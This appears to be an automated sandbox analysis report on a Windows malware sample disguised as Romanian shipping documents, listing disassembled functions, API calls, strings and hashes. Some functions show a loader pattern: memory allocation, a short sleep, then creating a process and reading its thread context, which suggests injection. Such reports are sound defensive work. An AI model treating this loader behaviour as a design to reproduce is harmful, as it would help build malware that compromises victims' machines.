                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
                                                • String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW
                                                • API String ID: 1825951767-3513169116
                                                • Opcode ID: 760d13796e592658cc523be31e921c2fc6c6793bd896be25ac14e259dc9ab851
                                                • Instruction ID: 56b061f609364dbff0e54064a550993e72e49b32137dc482c94b8a6afc3b2ab6
                                                • Opcode Fuzzy Hash: 760d13796e592658cc523be31e921c2fc6c6793bd896be25ac14e259dc9ab851
                                                • Instruction Fuzzy Hash: 1AA12A71D1022DAADB04EBA4DC95FEEB778FF96300F50442AF416A7191DF745A09CBA0
                                                Function 01316B58 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 942 1316b58-1316c06 call 1314578 945 1316c0d-1316c33 call 1317a68 CreateFileW 942->945 948 1316c35 945->948 949 1316c3a-1316c4a 945->949 950 1316d85-1316d89 948->950 954 1316c51-1316c6b VirtualAlloc 949->954 955 1316c4c 949->955 952 1316dcb-1316dce 950->952 953 1316d8b-1316d8f 950->953 956 1316dd1-1316dd8 952->956 957 1316d91-1316d94 953->957 958 1316d9b-1316d9f 953->958 961 1316c72-1316c89 ReadFile 954->961 962 1316c6d 954->962 955->950 963 1316dda-1316de5 956->963 964 1316e2d-1316e42 956->964 957->958 959 1316da1-1316dab 958->959 960 1316daf-1316db3 958->960 959->960 967 1316dc3 960->967 968 1316db5-1316dbf 960->968 969 1316c90-1316cd0 VirtualAlloc 961->969 970 1316c8b 961->970 962->950 971 1316de7 963->971 972 1316de9-1316df5 963->972 965 1316e52-1316e5a 964->965 966 1316e44-1316e4f VirtualFree 964->966 966->965 967->952 968->967 973 1316cd2 969->973 974 1316cd7-1316cf2 call 1317cb8 969->974 970->950 971->964 975 1316df7-1316e07 972->975 976 1316e09-1316e15 972->976 973->950 982 1316cfd-1316d07 974->982 980 1316e2b 975->980 977 1316e22-1316e28 976->977 978 1316e17-1316e20 976->978 977->980 978->980 980->956 983 1316d09-1316d38 call 1317cb8 982->983 984 1316d3a-1316d4e call 1317ac8 982->984 983->982 990 1316d50 984->990 991 1316d52-1316d56 984->991 990->950 992 1316d62-1316d66 991->992 993 1316d58-1316d5c CloseHandle 991->993 994 1316d76-1316d7f 992->994 995 1316d68-1316d73 VirtualFree 992->995 993->992 994->945 994->950 995->994
                                                APIs
                                                • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 01316C29
                                                • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 01316E4F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1381132432.0000000001314000.00000040.00000020.00020000.00000000.sdmp, Offset: 01314000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_1314000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CreateFileFreeVirtual
                                                • String ID:
                                                • API String ID: 204039940-0
                                                • Opcode ID: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
                                                • Instruction ID: 64580416d4f37475ab54a44b0d8a1c17eba2b339bdcc018e2049c8823d93fac8
                                                • Opcode Fuzzy Hash: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
                                                • Instruction Fuzzy Hash: A5A10BB4E00209EBDF18CFD4C999BAEBBB5FF48309F108159E505BB285D7B59A80CB50
                                                Function 009A39D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1073 9a39d5-9a3a45 CreateWindowExW * 2 ShowWindow * 2
                                                APIs
                                                • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 009A3A03
                                                • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 009A3A24
                                                • ShowWindow.USER32(00000000,?,?), ref: 009A3A38
                                                • ShowWindow.USER32(00000000,?,?), ref: 009A3A41
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$CreateShow
                                                • String ID: AutoIt v3$edit
                                                • API String ID: 1584632944-3779509399
                                                • Opcode ID: 37f978c6b8c5972eaef4bc99d0cc76ff7d39d88250ab511da0c304c684ffd333
                                                • Instruction ID: 780a85c68e65663a24249efc962fc44cd3459c4b8ed0c3215785dddd4c6d14b1
                                                • Opcode Fuzzy Hash: 37f978c6b8c5972eaef4bc99d0cc76ff7d39d88250ab511da0c304c684ffd333
                                                • Instruction Fuzzy Hash: 78F0DA719416907EEA3197B76C59EBB2E7DE7C6F50F00413AF904A2170C6A15852DAB0
                                                Function 01316928 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 145fileCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1074 1316928-1316a54 call 1314578 call 1316818 CreateFileW 1081 1316a56 1074->1081 1082 1316a5b-1316a6b 1074->1082 1083 1316b0b-1316b10 1081->1083 1085 1316a72-1316a8c VirtualAlloc 1082->1085 1086 1316a6d 1082->1086 1087 1316a90-1316aa7 ReadFile 1085->1087 1088 1316a8e 1085->1088 1086->1083 1089 1316aa9 1087->1089 1090 1316aab-1316ae5 call 1316858 call 1315818 1087->1090 1088->1083 1089->1083 1095 1316b01-1316b09 ExitProcess 1090->1095 1096 1316ae7-1316afc call 13168a8 1090->1096 1095->1083 1096->1095
                                                APIs
                                                  • Part of subcall function 01316818: Sleep.KERNELBASE(000001F4), ref: 01316829
                                                • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 01316A4A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1381132432.0000000001314000.00000040.00000020.00020000.00000000.sdmp, Offset: 01314000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_1314000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CreateFileSleep
                                                • String ID: P0WLW58CKR9KQFYQHLTOQL7
                                                • API String ID: 2694422964-3395829409
                                                • Opcode ID: 3f4dd580eefa5f4272227a05f66413bd88ce11196304191563df80b383e6d235
                                                • Instruction ID: c8e7ba5edbe7452223a524b2d3123647d38db178c90490a1b5968db371bfffac
                                                • Opcode Fuzzy Hash: 3f4dd580eefa5f4272227a05f66413bd88ce11196304191563df80b383e6d235
                                                • Instruction Fuzzy Hash: 6A5183B1D04289DAEF15DBE4C859BEEBBB8AF15304F004199E6087B2C1D7B94B44CB65
                                                Function 009A407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88windowCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1098 9a407c-9a4092 1099 9a4098-9a40ad call 9a7a16 1098->1099 1100 9a416f-9a4173 1098->1100 1103 9dd3c8-9dd3d7 LoadStringW 1099->1103 1104 9a40b3-9a40d3 call 9a7bcc 1099->1104 1107 9dd3e2-9dd3fa call 9a7b2e call 9a6fe3 1103->1107 1104->1107 1108 9a40d9-9a40dd 1104->1108 1117 9a40ed-9a416a call 9c2de0 call 9a454e call 9c2dbc Shell_NotifyIconW call 9a5904 1107->1117 1120 9dd400-9dd41e call 9a7cab call 9a6fe3 call 9a7cab 1107->1120 1110 9a40e3-9a40e8 call 9a7b2e 1108->1110 1111 9a4174-9a417d call 9a8047 1108->1111 1110->1117 1111->1117 1117->1100 1120->1117
                                                APIs
                                                • LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 009DD3D7
                                                  • Part of subcall function 009A7BCC: _memmove.LIBCMT ref: 009A7C06
                                                • _memset.LIBCMT ref: 009A40FC
                                                • _wcscpy.LIBCMT ref: 009A4150
                                                • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 009A4160
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
                                                • String ID: Line:
                                                • API String ID: 3942752672-1585850449
                                                • Opcode ID: 309d799db1f539a266405f069c159dd3f8b20b94884707044583b952cd80e016
                                                • Instruction ID: bffcf31990a7f509d33b96a33528e1419a6d7318920e051cd79a32445741ec75
                                                • Opcode Fuzzy Hash: 309d799db1f539a266405f069c159dd3f8b20b94884707044583b952cd80e016
                                                • Instruction Fuzzy Hash: 9231BE71408304AFD321EBA0DC46FEBB7ECAF95314F10492EF585921A1EBB49649CBD2
                                                Function 009A686A Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1133 9a686a-9a6891 call 9a4ddd 1136 9de031-9de041 call a0955b 1133->1136 1137 9a6897-9a68a5 call 9a4ddd 1133->1137 1140 9de046-9de048 1136->1140 1137->1136 1144 9a68ab-9a68b1 1137->1144 1142 9de04a-9de04d call 9a4e4a 1140->1142 1143 9de067-9de0af call 9c0db6 1140->1143 1148 9de052-9de061 call a042f8 1142->1148 1154 9de0d4 1143->1154 1155 9de0b1-9de0bb 1143->1155 1147 9a68b7-9a68d9 call 9a6a8c 1144->1147 1144->1148 1148->1143 1156 9de0d6-9de0e9 1154->1156 1157 9de0cf-9de0d0 1155->1157 1160 9de0ef 1156->1160 1161 9de260-9de263 call 9c2d55 1156->1161 1158 9de0bd-9de0cc 1157->1158 1159 9de0d2 1157->1159 1158->1157 1159->1156 1162 9de0f6-9de0f9 call 9a7480 1160->1162 1164 9de268-9de271 call 9a4e4a 1161->1164 1167 9de0fe-9de120 call 9a5db2 call a073e9 1162->1167 1170 9de273-9de283 call 9a7616 call 9a5d9b 1164->1170 1177 9de134-9de13e call a073d3 1167->1177 1178 9de122-9de12f 1167->1178 1184 9de288-9de2b8 call 9ff7a1 call 9c0e2c call 9c2d55 call 9a4e4a 1170->1184 1186 9de158-9de162 call a073bd 1177->1186 1187 9de140-9de153 1177->1187 1180 9de227-9de237 call 9a750f 1178->1180 1180->1167 1190 9de23d-9de247 call 9a735d 1180->1190 1184->1170 1194 9de164-9de171 1186->1194 1195 9de176-9de180 call 9a5e2a 1186->1195 1187->1180 1197 9de24c-9de25a 1190->1197 1194->1180 1195->1180 1202 9de186-9de19e call 9ff73d 1195->1202 1197->1161 1197->1162 1208 9de1c1-9de1c4 1202->1208 1209 9de1a0-9de1bf call 9a7de1 call 9a5904 1202->1209 1210 9de1c6-9de1e1 call 9a7de1 call 9a6839 call 9a5904 1208->1210 1211 9de1f2-9de1f5 1208->1211 1232 9de1e2-9de1f0 call 9a5db2 1209->1232 1210->1232 1215 9de215-9de218 call a0737f 1211->1215 1216 9de1f7-9de200 call 9ff65e 1211->1216 1221 9de21d-9de226 call 9c0e2c 1215->1221 1216->1184 1224 9de206-9de210 call 9c0e2c 1216->1224 1221->1180 1224->1167 1232->1221
                                                APIs
                                                  • Part of subcall function 009A4DDD: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00A652F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 009A4E0F
                                                • _free.LIBCMT ref: 009DE263
                                                • _free.LIBCMT ref: 009DE2AA
                                                  • Part of subcall function 009A6A8C: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 009A6BAD
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _free$CurrentDirectoryLibraryLoad
                                                • String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
                                                • API String ID: 2861923089-1757145024
                                                • Opcode ID: 516072a19d415037f7dc21c70f4dbc108b868f0d963afff4d209d863a750bf66
                                                • Instruction ID: d38c1f5eb576543a02bf669ddfb6e8bd13594d6710adec5bd0755b567055cfff
                                                • Opcode Fuzzy Hash: 516072a19d415037f7dc21c70f4dbc108b868f0d963afff4d209d863a750bf66
                                                • Instruction Fuzzy Hash: 3B919071A44219EFCF04EFA4CC91AEDB7B8FF45310F14842AF815AB2A1DB74A905CB90
                                                Function 009A35B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,009A35A1,SwapMouseButtons,00000004,?), ref: 009A35D4
                                                • RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,009A35A1,SwapMouseButtons,00000004,?,?,?,?,009A2754), ref: 009A35F5
                                                • RegCloseKey.KERNELBASE(00000000,?,?,009A35A1,SwapMouseButtons,00000004,?,?,?,?,009A2754), ref: 009A3617
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CloseOpenQueryValue
                                                • String ID: Control Panel\Mouse
                                                • API String ID: 3677997916-824357125
                                                • Opcode ID: b667577f6e7ebd9b11f366d263e8979be2ef6b66b74acc2e255fa16dd15d5abb
                                                • Instruction ID: caf74d855317b23d045f561b11f52a103e5a8b9629053dcd875aa89215effe8e
                                                • Opcode Fuzzy Hash: b667577f6e7ebd9b11f366d263e8979be2ef6b66b74acc2e255fa16dd15d5abb
                                                • Instruction Fuzzy Hash: B9113671914208BEDB20CFA9D841DAEB7BCEF05740F00846AB805D7210E2719E419BA0
                                                Function 01315818 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateProcessW.KERNELBASE(?,00000000), ref: 01315FD3
                                                • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 01316069
                                                • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 0131608B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1381132432.0000000001314000.00000040.00000020.00020000.00000000.sdmp, Offset: 01314000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_1314000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                • String ID:
                                                • API String ID: 2438371351-0
                                                • Opcode ID: cc658a0e6010fd3573e63fe9dffc1f366d2843c5c23e1a249a06af30add5367b
                                                • Instruction ID: f0419e2b13254dbd2baacca3525ecac9df37eb68a22f730aed9ccd76e7f13898
                                                • Opcode Fuzzy Hash: cc658a0e6010fd3573e63fe9dffc1f366d2843c5c23e1a249a06af30add5367b
                                                • Instruction Fuzzy Hash: 99621C70A14218DBEB24CFA4C841BDEB776EF58304F1091A9D10DEB3A4E7B59E81CB59
                                                Function 00A0955B Relevance: 6.2, APIs: 4, Instructions: 155COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A4EE5: _fseek.LIBCMT ref: 009A4EFD
                                                  • Part of subcall function 00A09734: _wcscmp.LIBCMT ref: 00A09824
                                                  • Part of subcall function 00A09734: _wcscmp.LIBCMT ref: 00A09837
                                                • _free.LIBCMT ref: 00A096A2
                                                • _free.LIBCMT ref: 00A096A9
                                                • _free.LIBCMT ref: 00A09714
                                                  • Part of subcall function 009C2D55: RtlFreeHeap.NTDLL(00000000,00000000,?,009C9A24), ref: 009C2D69
                                                  • Part of subcall function 009C2D55: GetLastError.KERNEL32(00000000,?,009C9A24), ref: 009C2D7B
                                                • _free.LIBCMT ref: 00A0971C
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
                                                • String ID:
                                                • API String ID: 1552873950-0
                                                • Opcode ID: 83a1bf45cb5b46f0fbbb2b282febcfcf75e63ad05b5baa694a85d9b23f0f737c
                                                • Instruction ID: cb9521d19c5add1a7d301c544c9eb80b7b62752aee153661bc2175472e85d0ca
                                                • Opcode Fuzzy Hash: 83a1bf45cb5b46f0fbbb2b282febcfcf75e63ad05b5baa694a85d9b23f0f737c
                                                • Instruction Fuzzy Hash: 0B5153B1D14258AFDF249F64DC81B9EBBB9EF88300F1044AEF509A3291DB715A80CF59
                                                Function 009C470A Relevance: 6.1, APIs: 4, Instructions: 136COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __flsbuf__flush__getptd_noexit__write_memmove
                                                • String ID:
                                                • API String ID: 2782032738-0
                                                • Opcode ID: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
                                                • Instruction ID: c96e07121c388efc178c660653c0014432b355de0fb744fbeb5c0fca57c07f37
                                                • Opcode Fuzzy Hash: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
                                                • Instruction Fuzzy Hash: 3141B675F007469BDB18CEA9C8A0FAE7BB9EF85360B24853DE815C7680D774DD408B52
                                                Function 009A44A0 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 009A44CF
                                                  • Part of subcall function 009A407C: _memset.LIBCMT ref: 009A40FC
                                                  • Part of subcall function 009A407C: _wcscpy.LIBCMT ref: 009A4150
                                                  • Part of subcall function 009A407C: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 009A4160
                                                • KillTimer.USER32(?,00000001,?,?), ref: 009A4524
                                                • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 009A4533
                                                • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 009DD4B9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
                                                • String ID:
                                                • API String ID: 1378193009-0
                                                • Opcode ID: 0cb8c6e3d1cd45a1b8aefc5c2d46f510594ad2dc3fb269672924dfd686a7b308
                                                • Instruction ID: 7007e1330e35742e648245f6fa15ed4d211df86d8c0c465fe5e631a5763eca6f
                                                • Opcode Fuzzy Hash: 0cb8c6e3d1cd45a1b8aefc5c2d46f510594ad2dc3fb269672924dfd686a7b308
                                                • Instruction Fuzzy Hash: 50213774905784AFE732CB34C855BE7BBEC9F42308F04049EF28E56281C3B42A85CB81
                                                Function 009A7285 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 009DEA39
                                                • GetOpenFileNameW.COMDLG32(?), ref: 009DEA83
                                                  • Part of subcall function 009A4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,009A4743,?,?,009A37AE,?), ref: 009A4770
                                                  • Part of subcall function 009C0791: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 009C07B0
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Name$Path$FileFullLongOpen_memset
                                                • String ID: X
                                                • API String ID: 3777226403-3081909835
                                                • Opcode ID: a5fb619b6915fc7a47d2719afc59313d8770bdec458cfae5d161d5646c07e8e4
                                                • Instruction ID: 9cda2fdab66776c1f8752b336df8b8cc900cfa60497c0391eceec8357d66ae1a
                                                • Opcode Fuzzy Hash: a5fb619b6915fc7a47d2719afc59313d8770bdec458cfae5d161d5646c07e8e4
                                                • Instruction Fuzzy Hash: D021C9719002489BCB11DFD4CC46BEE7BFCAF49710F00405AE808BB241DBB855498F91
                                                Function 00A098E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetTempPathW.KERNEL32(00000104,?), ref: 00A098F8
                                                • GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00A0990F
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Temp$FileNamePath
                                                • String ID: aut
                                                • API String ID: 3285503233-3010740371
                                                • Opcode ID: b3e6a904c27438d1e1b871ba753d656c0fec952ce8885607bc859e3e16eae7f4
                                                • Instruction ID: 35291b2683254acaec118f4ab81d5c2326caaaceb6662ebe91becc41d24cf7fd
                                                • Opcode Fuzzy Hash: b3e6a904c27438d1e1b871ba753d656c0fec952ce8885607bc859e3e16eae7f4
                                                • Instruction Fuzzy Hash: FED0177954030DABDA60DAA49C0AFEA773CE704701F0006B1BE54911A1EAB1959A8BA1
                                                Function 00A1CADD Relevance: 4.9, APIs: 3, Instructions: 392COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 0d9e82cc8617436588c675bfbaf4aece8e7c6d5752ef7bf4b14be4cd09034207
                                                • Instruction ID: 2eff8b19a05e64058351ea1a314bc3f5e9cbe33c0f2450e0dd9917667079f8fe
                                                • Opcode Fuzzy Hash: 0d9e82cc8617436588c675bfbaf4aece8e7c6d5752ef7bf4b14be4cd09034207
                                                • Instruction Fuzzy Hash: 55F148756083049FCB14DF28C580A6ABBE5FF89324F54892EF8999B351D734E946CF82
                                                Function 009AF76F Relevance: 4.7, APIs: 3, Instructions: 168comCOMMON
